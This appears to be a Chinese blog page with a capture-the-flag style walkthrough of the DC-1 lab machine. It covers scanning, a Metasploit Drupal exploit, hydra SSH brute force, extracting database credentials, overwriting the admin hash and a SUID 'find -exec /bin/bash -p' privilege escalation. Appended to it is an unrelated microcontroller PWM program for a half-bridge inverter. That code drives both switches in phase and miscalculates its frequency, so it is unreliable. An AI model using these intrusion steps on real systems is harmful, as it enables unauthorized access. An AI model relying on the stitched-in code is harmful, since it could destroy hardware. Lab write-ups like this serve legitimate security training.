DC-1靶机渗透测试详细教程

DC-1

DC-1下载:https://download.vulnhub.com/dc/DC-1.zip

攻击者kali   IP:192.168.1.9

受害者DC-1   IP:192.168.1.8

将DC-1靶机调成和kali同为桥接模式,因为DC-1的账号和密码还不知道,所以不能查看DC-1的IP地址,那么我们将通过kali来扫描到DC-1的IP地址。

1 使用命令 arp-scan -l 列出当前局域网的所有设备,在DC-1的网络适配器查看到的mac地址和扫描出来的192.168.1.8一致。

2 使用nmap来扫描DC-1

nmap -A 192.168.1.8

从扫描结果可以看到有22和80端口,因为还不知道DC-1所使用的用户,所有还不能爆破ssh,先访问一下80端口网页。

3 访问到的web界面,发现需要账号密码登录,使用burp爆破没有结果。但是发现了CMS,尝试去msf的漏洞库搜索一下。

4 在msf漏洞库搜索 Drupal,并攻击

启动msf的数据库

msfdb start

启动msfconsole

搜索 search Drupal

使用第二个漏洞

use 2

使用shuow missing查看一下必须要设置的选项

需要设置rhosts,rhosts就是设置靶机的IP地址

使用set设置

set rhosts 192.168.1.8

使用show options 可以查看设置好的信息

确定设置的信息没问题

输入run开始执行攻击,成功

flag1

ls可以看到第一个flag1.txt

第一个falg找到

5查看一下靶机的用户,发现有个flag4的用户

cat /etc/passwd

6 使用hydra来爆破一波看看是否能拿到密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.8 ssh

得到falg4账号的密码为 orange

7 使用ssh连接靶机

flag4

ls在flag4账户的目录下找到了falg4,可想而知还有在前面还有两个flag,可能在web上,因为web有账号

8 既然已经登录进靶机了,那么我们就去查看一下web的配置文件

进度入到var/www的目录下

在百度上可以找到drupal的配置文件是/var/www/sites/default/settings.php

使用命令查看一下

cat sites/default/settings.php

在配置文件中看到了flag2还有数据库的信息

flag2

数据库的账号:dbuser  密码: R0ck3t

9 使用命令连接数据库

mysql -u dbuser -p

连接成功

查看一下数据表

show databses;

使用数据表use drupaldb

查看表的数据show tables;

注意到表里的users

使用命令查看一下

select * from users;

可以看到管理员的账户,但是先要搞hash值,有点难

quit退出数据库连接

10 搜索一下passwd

find / -name password*

可以看到var/www/scripts下有个sh的脚本

直接执行试试

可以设置密码,尝试一下后面加上密码

scripts/password-hash.sh 123456

得到一个哈希值,那么我们可以将这个哈希值替换到数据库admin得账号下

11 修改数据库中admin的哈希值

update users set pass='$S$DvaDIRP8Hxz93/2ZLLeQrczm5gK1BR6KrJX2JmOGPB7boVeFE3wa' where name='admin';

修改成功尝试去web界面登录试试

flag3

找到flag3

12  falg4提示我们提权

find -name flag4.txt -exec /bin/bash -p \;

flag5

find -name flag4.txt -exec cat /root/thefinalflag.txt \;

CD-1靶机一共有5个flag

DC-1总结

nmap的基础使用,信息收集

msf漏洞库搜索漏洞

使用漏洞攻击靶机拿到shell,找到第一个flag,查看/etc/passwd

使用hydra爆破ssh登录的账号密码

登陆账号拿到第二个flag

查看到durpal的配置文件,获取到数据库信息,拿到第三个flag

尝试连接数据库,在数据库里发现admin账号,修改管理员的hash值

登录到web界面,拿到第四个flag

提权root拿到第五个flag

  • 7
    点赞
  • 63
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
由于题目中没有给出具体的单片机型号和外部电路,我们假设使用的是STC89C52单片机,外部电路如下: ![image](https://user-images.githubusercontent.com/87290316/126290466-5a5c5df5-fcde-42d8-b7b9-9b9f36c4f6fc.png) 其中,P1.0和P1.1分别连接到半桥逆变电路的两个控制信号输入端口。 程序如下: ```c #include <reg52.h> #define FOSC 11059200L // 单片机晶振频率 #define PWM_FREQ 30000 // PWM信号频率 sbit PWM_OUT1 = P1^0; // PWM输出1 sbit PWM_OUT2 = P1^1; // PWM输出2 void timer0_init() // 定时器0初始化 { TMOD &= 0xF0; // 清零T0控制位 TMOD |= 0x01; // 设置T0为模式1,16位定时器 TH0 = (65536 - FOSC / 12 / PWM_FREQ) / 256; // 设置定时器初值 TL0 = (65536 - FOSC / 12 / PWM_FREQ) % 256; ET0 = 1; // 开启定时器0中断 TR0 = 1; // 启动定时器0 } void main() { timer0_init(); // 初始化定时器0 while (1) // 主循环 { // do nothing } } void timer0_isr() interrupt 1 // 定时器0中断服务程序 { static unsigned char cnt1 = 0, cnt2 = 0; // PWM计数器 static bit flag1 = 0, flag2 = 0; // PWM输出标志 TH0 = (65536 - FOSC / 12 / PWM_FREQ) / 256; // 重置定时器初值 TL0 = (65536 - FOSC / 12 / PWM_FREQ) % 256; cnt1++; // PWM1计数器加1 if (cnt1 >= 2) // PWM1周期为2个定时器周期 { cnt1 = 0; flag1 = !flag1; // 反转PWM1输出标志 PWM_OUT1 = flag1; // 更新PWM1输出 } cnt2++; // PWM2计数器加1 if (cnt2 >= 2) // PWM2周期为2个定时器周期 { cnt2 = 0; flag2 = !flag2; // 反转PWM2输出标志 PWM_OUT2 = flag2; // 更新PWM2输出 } } ``` 程序中使用定时器0产生PWM信号,定时器0的工作原理与程序实现可以参考这篇文章:[用定时器产生PWM信号的方法](https://zhuanlan.zhihu.com/p/138922929)。 由于半桥逆变电路的工作原理比较复杂,这里不再赘述。如果需要了解半桥逆变电路的原理和应用,请参考相关电子书籍或网上资料。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

啊醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值